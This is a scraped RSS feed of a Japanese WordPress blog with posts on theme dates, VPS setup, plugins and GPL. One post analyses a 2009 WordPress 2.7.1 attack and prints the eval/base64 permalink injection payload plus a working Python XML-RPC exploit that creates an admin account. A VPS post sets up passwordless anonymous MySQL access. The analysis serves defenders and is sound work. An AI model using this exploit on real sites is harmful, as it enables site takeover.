実際のところ関係あるのか無いのかよく分かりませんが、5月中頃と比べて10倍ぐらい検索エンジンからの流入が落ちてまして、その対応でサーバ移転したりブログの設定変えたりしてます。3ヵ月後ぐらいには結果が分かると思いますので、その頃にそれっぽい記事書くかもしんないす。

]]> http://sakuratan.biz/archives/4663/feed 199 WordPressテーマの日付表示を直す方法 http://sakuratan.biz/archives/3746 http://sakuratan.biz/archives/3746#comments Wed, 23 Feb 2011 04:15:08 +0000 さくら http://sakuratan.biz/?p=3746 (続きを読む)]]> WordPress.org のテーマディレクトリとかから海外の人が作ったテーマを落としてインスコすると、だいたい日付の書式がおかしかったりします。

このブログもテーマ変えてから日付が変だったので直し方を調べてみました。

日付書式の指定

まず日付の書式の指定方法ですが、the_time() という WordPress の関数の引数で指定できます。

以下はご覧のさくらたんどっとびーずのテーマのブログ記事タイトルの下の部分ですが、引数無しで the_time() を呼び出しているので 時:分 しか表示されません。

<div class="meta">
  <?php the_category(',') ?>
  &#8212;
  <?php the_tags(__('Tags: '), ', ', ' &#8212; '); ?>
  <?php the_author() ?>
  @
  <?php the_time() ?>
  <?php edit_post_link(__('Edit This')); ?>
</div>

年月日 時分にしたかったので、the_time() の引数を以下のように変更しました。

<?php the_time(__('Y/m/d G:i')) ?>

‘Y/m/d G:i’ が 年/月/日 時:分 の日付書式です。有効な日付書式は PHP の date 関数の仕様に従いますので詳しくはリンク先のマニュアル見てください。

日付書式を __() で括っているのは国際化対応のためです。WordPress は gettext を使ってメッセージを国際化しています。引数に対応する日本語書式が存在すれば使用されます。国際化等を気にせず独自書式に変えたい場合は __() を入れずに日付書式を指定してください。

‘Y/m/d G:i’ の場合、対応する日本語書式が存在しないのでそのまま表示されてしまいますが、’Y/m/d g:i:s A’ に変更すると日本語化された書式 ‘Y年n月j日 g:i:s a’ が使用されます。

どの書式が日本語化済みかは、wp-content/languages/ja.po ファイルで確認できます。WordPress 3.0.5 日本語版では以下のようになっていました。

日付書式 日本語書式
Y/m/d g:i:s A Y年n月j日 g:i:s a
Y/m/d Y年n月j日
Y/m/d \\a\\t g:i A Y年n月j日 g:i a
Y/m/d \\a\\t g:ia Y年n月j日 g:i a
F j, Y Y年n月j日
g:i a g:i A
F j, Y g:i a Y年n月j日 g:i A
M j, Y @ G:i Y年n月j日 @ G:i

どのファイルを直す必要があるか調べる

書式指定方法も分かったので実際にテーマのファイルいじくっていくことにします。

とりあえずどのファイルを直さないといけないか把握する必要がありますが、WordPress の管理パネルのサイドバーの[外観]→[編集]からテーマのファイルを開いて目視でチェックは面倒くさいので grep で探すことにしました。

テーマのファイルはブログをインスコしたディレクトリの下に wp-content/themes/[テーマ名] ディレクトリにありますので、the_time で grep します。

$ cd wp-content/themes/barecity
$ grep the_time *
index.php:      <div class="meta"><?php the_category(',') ?> &#8212; <?php the_tags(__('Tags: '), ', ', ' &#8212; '); ?> <?php the_author() ?> @ <?php the_time() ?> <?php edit_post_link(__('Edit This')); ?></div>

今使ってる Barecity テーマの場合は index.php だけ直せば良いようです。テーマによっては何個かファイル直さないといけないのでガンバってください。

んでわ。

]]> http://sakuratan.biz/archives/3746/feed 14 さくらの VPS に WordPress をインスコする手順 http://sakuratan.biz/archives/2550 http://sakuratan.biz/archives/2550#comments Sat, 14 Aug 2010 09:09:33 +0000 さくら http://sakuratan.biz/?p=2550 (続きを読む)]]> さくらの VPS に WordPress をインスコしてみますたので手順メモっときます。えーと、さくらの VPS の設定ダダ流しの続きで書いてますのでよく分からんところは先に元記事を見てください。

1. mysql をインスコする

mysql は yum のパッケージを使います。root から mysql.x86_64、mysql-devel.x86_64、mysql-server.x86_64 あたりをインスコしてください。

# yum install mysql.x86_64 mysql-devel.x86_64 mysql-server.x86_64

rc スクリプトが /etc/rc.d/init.d/mysqld に作成されますので起動します。

# /etc/rc.d/init.d/mysqld start

chkconfig でリブート時に mysqld が起動するように設定して mysql のインスコは終わりす。データベースの設定は後でします。

checkconfig --level 345 mysqld

2. PHP を mysql モジュール付きでインスコしなおす

前の記事書いたときは、WordPress 使うとか考えて無かったので mysql モジュールを PHP に付けてコンパイルしてなかったので、configure からやり直します。また WordPress を動かすには zlib も必要ですので一緒に configure しなおします。

mysql-devel.x86_64 パッケージをインスコした後で、以下のようにリビルドしてください。

$ ./configure --with-libdir=lib64 --with-apxs2=/usr/sbin/apxs \
--with-mysql --with-mysqli --with-zlib-dir
# make
# make install

3. WordPress 用にデータベースを作る

共用鯖じゃないのでデータベースは WordPress 用に作ります。root で mysql にログインして以下のコマンドを実行します。

# mysql
mysql> create database DBNAME default charset utf8;
mysql> grant all on DBNAME.* to ''@localhost;
mysql> revoke ALTER on DBNAME.* from  ''@localhost;

コマンドを実行する際は、DBNAME にはちゃんとしたデータベース名を指定してください。

この例では、新しく作ったデータベースには localhost からなら誰でもユーザー／パスワード無しでログインできるようにしています。mysqld 自体を外部から mysql に直接接続できるよう設定していませんし、前の記事で設定したパケットフィルタが mysql のポートを閉じてますので、ssh 等でシェルアカウントでログインしない限りデータベースにも入れませんので（アプリのバグとか除く）、通常これで問題無いと思います。

よりセキュアに仕上げたい方はユーザー／パスワード設定する等ご自由にどぞ。

4. WordPress をインスコする

WordPress のインスコ自体は普通ですので、公式サイトとか見てください。

]]> http://sakuratan.biz/archives/2550/feed 3 WordPress の admin を簡単にリネームするプラグイン Admin renamer extended http://sakuratan.biz/archives/1407 http://sakuratan.biz/archives/1407#comments Mon, 30 Nov 2009 00:30:27 +0000 さくら http://sakuratan.biz/?p=1407 (続きを読む)]]> WordPress の管理者のユーザー名はデフォルトで admin になっています。このデフォルトのユーザー名、初期化時に変更できませんし後からも普通の方法では変えられなかったりします。ユーザー名分かっちゃえばクラッキングは半分以上終わってるようなものだったりしますので、セキュリティ的にあまり好ましい動作ではないです。

さくらも WordPress 使い始めてすぐ気になって、どこかのブログに書いてた MySQL のテーブル直接更新する方法でユーザー名変えたりしました。どのブログに書いてあったのか忘れたんでリンク貼らないけどw

で、これもっと簡単にする方法無いかなと思ってプラグインディレクトリを漁ってたら良さげなのが見つかりましたのでご紹介したいと思います。こちらの WordPress › Admin renamer extended « WordPress Plugins がそれです。

Admin renamer extended プラグインをインスコすると、簡単に管理者ユーザーのユーザー名を変更することができます。

では使い方のご説明w

まずこちらからプラグインをインスコしてください。サイドバーに Admin renamer extended というメニューが追加されます。メニューを見つけたらおもむろにクリック。

plugin

クリックしたらこちらの画面が開きます。

Admin renamer extended

こちらの画面には管理者権限のユーザー名が表示されます。テキストエリアに新しいユーザー名を入力して Update をクリックすると更新されます。

ちなみに登録されてる管理者権限ユーザーは全部ここに表示されるみたいですが、さくらは一人しか管理者作ってないのでその辺は確認してません。サーセンw

最後に新しいユーザー名を入力して Update を押してください。ユーザー名が更新されます。更新後は強制的にログアウトされてログインページに移動しますので、パスワードを覚えてない方はご注意ください。

login

さてさて、このように一発で管理者ユーザー名変えれる便利なプラグイン Admin renamer extended なのですが、このプラグイン自体のセキュリティ的な評価というか「ぶっちゃけ大丈夫なのこれ？」みたいなのが気になったりしました。

ブログを書くにあたり、あんまヤバいプラグインをご紹介する訳には参りませんのでソース全部確認してみたのですが、とりあえず問題はないと思います。ただそんな大きいプラグインでもありませんし、PHP 読める方は（この手のセキュリティ関係のコードをインスコする際は）予めご自身で確認されることをお勧めします。

あえて問題と言えば、プラグインインスコすると外部からもインスコール済みなのが分かるので、（将来的にバージョンアップした際も含めて）そのプラグインにセキュリティホールがあると攻撃対象になるのが問題っちゃー問題かもしれません。

ただそれ言い出すとプラグイン自体まったく使えなくなるのでそこまで潔癖にする必要ないと思います。まあ気になる方は以下のブログにプラグインを使わず自力で対処する方法書いてますのでどうぞご覧ください。

いずれにしてもデフォルトのまま admin で管理者ユーザー使ってるのは問題ありまくリんぐなので、何らかの方法で対応されることをオヌヌメします。

]]> http://sakuratan.biz/archives/1407/feed 4 WP Super Cache の微妙なバグ http://sakuratan.biz/archives/1277 http://sakuratan.biz/archives/1277#comments Wed, 16 Sep 2009 01:18:58 +0000 さくら http://sakuratan.biz/?p=1277 (続きを読む)]]> WP Super Cache を ON にすると、X-Pingback ヘッダが出力されないようです。

X-Pingback ヘッダというのは、Pingback する際のサーバ自動検知に使われる HTTP ヘッダです。Pingback の仕様書読むと、link タグで代替可能なので別に無くても良いみたいです。なので、これはバグじゃないと言われる気もします。

でも Pingback ってほとんど WordPress しか実装してないよね。Blogger は実装してんだっけ？
どっちにしても MovableType とかは実装してないから、WordPress は全力でサポートしないといけないんじゃないの？この辺わw

まあ、特に何かする必要のある話ではないので、わざわざブログに書くほどのことでもないと思いますが、何か超微妙な感じなので書いちゃいました。ていうか、この挙動（あえてバグとは書かない）見つけてからしばらく WP Super Cache をオフってたので、何かちょっと損した気分です。

ついでに、Pingback Autodiscovery を実装する側の視点からすると、WordPress がこんな挙動するなら、link タグだけの仕様にしとけと言いたくなりました。

]]> http://sakuratan.biz/archives/1277/feed 0 現在進行中の WordPress に対する攻撃の詳細と再現 http://sakuratan.biz/archives/1208 http://sakuratan.biz/archives/1208#comments Sun, 06 Sep 2009 23:45:54 +0000 さくら http://sakuratan.biz/?p=1208 (続きを読む)]]> WordPress フォーラムの http://wordpress.org/support/topic/307518 にて今回の攻撃方法が議論されていました。クラッカーの攻撃手法が解明されていましたのでご説明したいと思います。

と、特に攻撃方法が命名されていなかったので、「現在進行中の WordPress に対する攻撃」のことを今回の攻撃と記載しています…ややこしいので誰かとっとと名前付けてくれないかしら？wordpress.org のサイト構造にあまり詳しくないので実際はもう命名されてるのかもしれませんがw

で、先に結論から言いますと、今回の攻撃は権限チェックのバグとスクリプトインジェクションが組み合わされたもののようです。攻撃が成功すると、ダッシュボードから見えない管理者アカウントが作成されます。また、バックドアが仕込まれることもあるようです。

攻撃条件

まず最初に、今回の攻撃が成功するための条件を説明します。攻撃方法に興味の無い方はとりあえずここだけでも見といてください。（で WordPress を最新版にバージョンアップしてください。）

で、今回の攻撃は以下の条件を満たした WordPress サイトに対して可能です。

  • WordPress が最新版ではない
  • 新規ユーザーの登録が誰でも可能となっている

新規ユーザーの登録は、【設定】→【一般】→【メンバーシップ】の「誰でもユーザー登録ができるようにする」がチェックされている場合可能です。デフォルトは…どうなってたんだろ？wごめん忘れた。個人ブログの場合は登録できないようにしている場合がほとんどだと思いますが、誰でも登録できるようになっていないかご確認ください。もちろん必要があってそうしている場合は別問題ですw

なお、既に攻撃されている場合は最新版にバージョンアップしても直りませんので、WordPress のパーマリンクと RSS に関する問題について等を参考にチェック及び対応をしてください。

攻撃方法

実際の攻撃は以下の3ステップで行われます。

  1. /wp-login.php から新規ユーザーを作成する。
  2. /wp-admin//options-permalink.php にアクセスし、パーマリンクを %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ など WordPress Permalink & Rss problems で説明されている形式に変更する。
  3. /xmlrpc.php にアクセスし、スクリプトインジェクション可能な XML-RPC コールを行い（ユーザーパネルから見えない隠された）新規管理者を作成する。

各ステップの詳細ですが、まず最初の /wp-login.php からのユーザーの作成については、WordPress の設定で元から誰でも新規ユーザーを追加できる状態になっていなければできませんのでこれ自体はセキュリティホールでは無いです。ここにもセキュリティホールがあるかもしれませんが、フォーラムでは特に言及されておらず、こちらで確認した限りではこの辺にセキュリティホールは無さそうでした。無いとは保証できませんがw

次の /wp-admin//options-permalink.php はダッシュボードの【パーマリンク設定】へのアクセスなんですが、デフォルトの新規ユーザー作成は「購読者」権限で行われるので、本来はアクセスできないページへアクセスしてることになります。これが WordPress Privileges Unchecked in admin.php and Multiple Information Disclosures – Corelabs で説明されている // バグです。ちなみに購読者権限では /wp-admin/options-permalink.php にはアクセスできず、/wp-admin//options-permalink.php とスラッシュを重ねたときだけアクセスできるようになるのが、このバグのキモです。（つーか最初フォーラムを流し読みしてたとき完全に読み飛ばしてたw）

最後の xmlrpc.php へのアクセスでは wp-include/rewrite.php で定義される url_to_postid 関数が呼び出される XML-RPC を呼び出します。パーマリンクを改造した状態で url_to_postid を呼び出すとスクリプトインジェクションが可能なためです。WordPress 2.7.1 では、url_to_postid 関数が呼び出される XML-RPC コールは wp.newComment、pingback.ping、pingback.extensions.getPingbacks の三つです。このいずれかを呼び出すと、%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ が url_to_postid 関数内の eval で実行されスクリプトインジェクションが発生します。このとき Referer HTTP ヘッダに base64 エンコードした PHP コードを含めてリクエストすると、基本的には何でも実行できてしまいます。実際の攻撃ではここで http://wordpress.org/support/topic/307518/page/2#post-1199642 に掲載されているコードが実行され、管理者アカウントが作成されます。

なお実際の攻撃の際、新規作成された管理者は JavaScript によりメニューの【ユーザー】から隠されます。ただこの辺は、今回の攻撃の本質的な部分ではないと思いますのでこの記事では説明しません。興味のある方は http://wordpress.org/support/topic/307518/page/2#post-1199642 からリンクされている http://links.webwordpress.cn/data/shortpart2.txt の中身か http://wordpress.org/support/topic/307518/page/2#post-1199846 をご覧ください。

また攻撃成功後、gpc_ で始まる関数が index.php 等に追加されることがあるようです。実際に追加されるコードについては、Well, an update worth its salt – sean’s place をご覧ください。中身はサイトが対策を取った後で再度侵入するためのバックドアのようです。こちらについても冒頭のフォーラムで言及されているのですが、必ず仕込まれる訳ではないなど不明な点が多くこの記事では説明を省略しています。フォーラムにて、gpc_ で grep をかけろとの助言がありますので、攻撃されているかチェックする際に実行した方が良いと思います。いずれにせよ管理者権限の取得は攻撃の第一段階に過ぎない様です。

攻撃の再現

以上の内容で手元の環境（WordPress 2.7.1）に対して攻撃を再現してみました。

まず WordPress を誰でもユーザーを登録できる状態にしてから普通に /wp-login.php へアクセスして適当に新規ユーザーを作成します。このとき作成される新規ユーザーの権限は（元からの設定で）購読者としています。

次に作成したユーザーでログインし、/wp-admin//options-permalink.php へアクセスします。以下のキャプチャではちょっと分かりにくいかもしれませんが、ダッシュボードの下のメニューに【設定】→【パーマリンク設定】が表示されていないにも関わらずパーマリンク設定を開いており、本来権限が無いページにアクセスしているのが判別できると思います。

パーマリンク設定

アクセス後はカスタム構造を選択し、%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ を入力します。（その際先頭に / が追加されますので、実際のパーマリンクは /%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ になります。）

最後に base64 エンコードされた PHP コードを Referer に指定して /xmlrpc.php にアクセスし、pingback.extensions.getPingbacks XML-RPC コールを呼び出します。前述したとおり wp.newComment や pingback.ping XML-RPC コールでも攻撃可能ですが、pingback.extensions.getPingbacks 以外は設定で無効にできるためこれを呼び出すのが一番確実だと思います。

この部分の攻撃の再現には以下のような Python スクリプトを作って実行しました。実際の攻撃では file_get_contents を使用して外部からテキストファイルを読み込む等、（主に隠された管理者を作成するため）exploit_code に相当する部分がもっと複雑なのですが、あくまで再現が主眼ですので新規ユーザーを管理者権限で作成するところまでにしました。

from base64 import standard_b64encode
from xmlrpclib import ServerProxy, Transport, ResponseError

baseuri = 'http://localhost'
exploit_code = "$uid=wp_create_user('test','test');$u=new WP_User($uid);$u->set_role('administrator');exit();"

class MyTransport(Transport):
    def send_user_agent(self, connection):
        Transport.send_user_agent(self, connection)
        connection.putheader('Referer', standard_b64encode(exploit_code))

server = ServerProxy(baseuri + '/xmlrpc.php', transport=MyTransport(use_datetime=0))

try:
    server.pingback.extensions.getPingbacks(
        baseuri + '/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/')
except ResponseError:
    pass

スクリプト実行後、管理者権限を持つユーザー test（パスワードも test）が作成されます。これでこの WordPress に対して何でもできるようになりましたw

バージョン 2.8.4 の安全性

攻撃に関わる要素はだいたい把握できたと思いますので、簡単にバージョン 2.8.4 で同じ問題が発生しないか確認してみました。

まず /wp-admin//options-permalink.php へのアクセスですができませんでした。パーマリンクの書き換えができなくなってますので今回の攻撃は 2.8.4 に対して効果は無さそうです。 WordPress Privileges Unchecked in admin.php and Multiple Information Disclosures – Corelabs では // バグは 2.8.0 にて対策されていると説明されていますので、2.8.4 未満でも問題は発生しないっぽいです。ただ私の方では 2.8.4 しか確認していませんので、とりあえず最新版にしといた方が無難だと言っときます。

次に url_to_postid での eval ですが特に 2.7.1 と変わってないようでした。eval する際に変数展開が必要みたいで、単純に

eval("\$query = \"" . addslashes($query) . "\";");

を

eval("\$query = '" . addslashes($query) . "';");

に変えるのは今のところ難しいっぽいです。具体例にどうこうって訳ではありませんが、また何か問題発生するかもしれません。

その他

xmlrpc.php に対する攻撃は以前のバージョンから継続して試みられているようで、Did your WordPress site get hacked? にその手法が説明されています。今回の攻撃においても対応のためにとりあえず「xmlrpc.php を消した」人がフォーラムにいました。

またフォーラムにて、WordPress のコアファイルのパーミッションをウェブサーバから更新できないようにしとくべきだとの指摘も見られましたが、スクリプトインジェクション可能な状態でパーミッションを変えてもクラッカーが chmod すればすり抜けられますので、個人的にはセキュリティ面ではあまり寄与しないと思います。（WordPress 本体やプラグインのバグからサイトを守るという意味では重要だと思いますが。）

プラグイン

フォーラムの議論の中で、いくつか使えそうなプラグインが推薦されていましたので紹介しておきます。

紹介しといてこんなこと言うのもアレですが、正直両方とも微妙な感じです。何が微妙かは実際に使って体感してね！w

さくら

（追記 同日18:00ごろ）
攻撃方法の xmlrpc.php の説明が分かりにくかったので言い回しを変えました。
TechCrunch の警告！ WordPress旧版は簡単に乗っ取られる―即刻アップデートをにて、WordPressの親会社のAutomatticからこの件に関する発表はまだと報告されています。

（追記 9/8 12:20ごろ）
冒頭の結論に攻撃結果を追加し、バックドアの説明を少し増やしました。

]]> http://sakuratan.biz/archives/1208/feed 9 WordPress と GPL、主にお仕事向けの話 http://sakuratan.biz/archives/1091 http://sakuratan.biz/archives/1091#comments Sun, 02 Aug 2009 03:00:11 +0000 さくら http://sakuratan.biz/?p=1091 (続きを読む)]]> かちびと.net にコメント書いたら続き書いてくれって言われたんでそのお返事ー。

ここまでの話の流れですが、WordPressを使ったWeb制作ビジネスをする方が頭に入れておく1つの事って記事のコメ欄で「WordPress が GPL な点も考慮しといた方が良いと思われ」とコメントしたら、記事書いてくれって返事が届いたところです。

GPL とかの話は長ったらしくなりそうだったのでお茶を濁したつもりだったんだけど、テラブーメランww

まず結論から。

GPL は伝搬します。WordPress の改造やテーマ等の制作を請け負う場合、それら成果物は GPL ソフトウェアの派生物となり、派生物は GPL でライセンスしなければなりません。

GPL である以上、制作者はその成果物の第三者による再配布等を制限することはできません。

一般的な受託開発においてクライアントは納品された成果物を再販できないように契約するのが普通だと思いますが、GPL ソフトウェアの場合そういった制約を課すことができないことになります。なのでその辺を問題視する会社もあるでしょう、ということです。

WordPress における GPL 派生物

WordPress の GPL の適用範囲については、ja.wordpress.org のテーマも GPL ライセンスという記事で解説されており、（PHP の）WordPress 関数を使用する箇所は派生物、そうでない箇所は派生物でない、と述べられています。

詳しくはリンク先をご覧頂きたいですが、テーマに含まれる HTML コード辺を介してブラウザから読み込まれるだけの画像や CSS ファイルは GPL でなくても良いという見解のようです。

具体的には以下のケースが WordPress における GPL 派生物だと理解しておけば良いと思います。

  • WordPress 本体に変更を加えた
  • WordPress 関数を使用するテーマやプラグインを作成した
  • GPL で配布されている既存のテーマやプラグインに変更を加えた

これらの WordPress の派生物の制作を請け負った場合、再領布を禁止する等の GPL に違反する条項を盛り込むことはできません。

ちなみに SEO業者のアイオイクスと海外WordPessテーマ配布に関する問題 – かちびと.net で指摘されている件については、アイオイクス社の wordpresstheme.jp と そのサイトの WordPress Theme 利用規約は明確に GPL 違反の事例だと言えます。

この件では GPL と両立できないライセンスを新たに付与していることが GPL 違反になります。具体的には WordPress Theme 利用規約の 1. 5. 6. 7. （リンク先参照）を掲げた時点で wordpresstheme.jp は GPL に違反したことになり、アイオイクス社が GPL に従ってそれらテーマを使用する権利はすべて消失します。

なお、かちびと.net 様ではソース改変も問題にされていますが、GPL と共存できないライセンスを付与した時点で既に GPL 違反ですので、改変の有無自体はあまり問題にならないと思います。（改変してようがしてまいがどっちにしろ違反してるので、って意味です。まあ改変しちゃう方が悪質だとは思いますが。）

資料等

とりあえず GNU 一般公衆利用許諾契約書に一通り目を通してから他の資料をあたって頂きたいと思いますが（WordPress メインの記事ですので GPLv2 の和訳のリンクしてます）、より正確なところを知りたい方は GNU プロジェクトの思想 からリンクされているページを一通りご覧ください。全部読む時間の無い方は以下のページからご覧になると良いと思います。

いずれにせよ GPL が制定された目的は、この世のすべてのソフトウェアをフリーにするというフリーソフトウェア運動のためであり、ソフトウェアを独占的な状態に置かないようにするために GPL は設計されています。その辺の背景を理解しておかないと GPL がなぜそうなっているのか理解するのは難しいように思います。

さくら

]]> http://sakuratan.biz/archives/1091/feed 6 External CSS WordPress プラグイン 0.2.1 リリースしました http://sakuratan.biz/archives/1069 http://sakuratan.biz/archives/1069#comments Mon, 20 Jul 2009 13:26:26 +0000 さくら http://sakuratan.biz/?p=1069 (続きを読む)]]> External CSS WordPress プラグインバージョン 0.2.1 をリリースしました。

0.2.1 未満のバージョンには、バージョンアップ時に編集した CSS ファイルが削除されるバグが含まれているため、プラグインをバージョンアップする前に以下の作業を行ってください。

  1. wp-content/cache/external-css/css ディレクトリを作成する
  2. wp-content/plugins/external-css/css/custom.css を wp-content/cache/external-css/css にコピー
]]> http://sakuratan.biz/archives/1069/feed 1 External CSS WordPress プラグインを公開しました http://sakuratan.biz/archives/1059 http://sakuratan.biz/archives/1059#comments Mon, 20 Jul 2009 00:14:06 +0000 さくら http://sakuratan.biz/?p=1059 (続きを読む)]]> さくらです♡こんばんわ☆彡
…とか書いちゃったけど、

　　 ｎｎ
　 　| |||　　　　　　　　予約投稿のﾖｶｰﾝ
　　（;ﾟДﾟ)
　　（●●ﾄﾞｷﾄﾞｷ
　⊂|　））
　　.∪∪

なんか最近あんまり AA 貼ってないんで、禁断症状でてきたような気がするww
まあしょうもない話はこの辺にして本題へw

つーことで調子に乗ってまたまた WordPress プラグインを公開してみちゃったりしました。

今回公開したのは External CSS プラグインです。
このプラグインをインスコすると、外部 CSS ファイルを WordPress のダッシュボードから編集できるようになります。

さくらのブログはテンプレの CSS をそれなりに弄くっちゃったりしてるのですが、テンプレ変える前から仕込んであるスタイルとかもあったりして、要は CSS の編集をテンプレと切り離したいので作ったプラグインです。

似たような機能のプラグインに Custom User CSS や Simpler CSS などがありますが、これらのプラグインは CSS を <style> タグで直接埋め込じゃうのでできれば外部の CSS ファイルに保存するような似たようなプラグイン無いかなーと探していたのですが、無さげだったので作りました。

External CSS ではユーザーが編集した CSS を wp-content/plugins/external-css/css/custom.css に保存します。この CSS ファイルは管理パネルを除いたすべてのブログエントリ（ページ含む）から <link> タグで読み込まれます。

External CSS WordPress Plugin

そのため <style> タグで埋め込む形式のプラグインと比べネットワークやサーバへの負荷が低く、自分用 CSS を結構な量書く方には特に SEO 面で有利なプラグインとなってると思います。

ぜひご利用くださいませ！

インストール

以下のいずれかの方法でインストールできます。

  • wordpress.org の External CSS からプラグインをダウンロードし、Zip ファイルを wp-content/plugins/ ディレクトリで展開
  • WordPress のプラグイン検索で "External CSS" を検索しインストールリンクをクリック

簡単なので、プラグイン検索がオヌヌメです。
インストール後はプラグインを有効にしてください。

使い方

インストールすると、ダッシュボードの 外観 (Appearance) メニューに External CSS メニュー項目が追加されます。追加されたメニュー項目をクリックすると、textarea ベースの簡単な CSS エディタが開きますので CSS を入力し保存してください。

保存された内容は wp-content/plugins/external-css/css/custom.css に記録されます。この CSS ファイルはプラグインを有効にした時点から、管理用ページを除くブログのすべてのページから <link> タグにより読み込まれます。

細かいこと気にしてハゲそうな人向けのプラグインの一部の実装に関する説明

以下は wp-content/plugins/external-css/custom.css ではなく wp-content/plugins/external-css/css/custom.css に CSS ファイルを保存する実装になってる理由の説明です。プログラム的な話に興味無い方は無視しちゃってください。

このプラグインではファイルの更新をアトミックに行うため、入力された内容を一度テンポラリファイルに保存してから rename 関数を使って CSS ファイルを更新してます。そのため WordPress プログラムから、CSS ファイルを保存するディレクトリに対して書き込める状態になっていないとプラグインが動作しません。

従って wp-content/plugins/external-css/custom.css に保存しようとすると wp-content/plugins/external-css ディレクトリに WordPress から書き込めるようにする必要があるのですが、それは仕様的に何か微妙なため、wp-content/plugins/external-css/css ディレクトリに CSS ファイルを作成するようにしてます。

あと将来的に編集できるファイルを増やそうかなーとか思ってるのですが、その時プラグインディレクトリを直接更新するのが問題になりそうなの

　　　　　　　/ﾆＹﾆヽ
　 　(ヽ　 　/（ ﾟ )( ﾟ ）ヽ　　　/)
　　(((i ) ／::::⌒｀´⌒::::＼ 　( i)))　　でっていうｗｗｗｗｗｗｗｗ
　／∠_|　,-）＿＿＿（-，|＿ゝ ＼
( ＿＿＿､　　|-┬-|　　　　,＿＿ ）
　　　　|　　　　`ー’´　　 /´
　　　　|　　　　　　　　　/

理由もあります。

まあ将来どうなるか、さくら17才だしまだ考えてないw


これでテーマを変えるたびにしてた
CSS をコピペする作業から開放される…
リベレーション！！

]]> http://sakuratan.biz/archives/1059/feed 6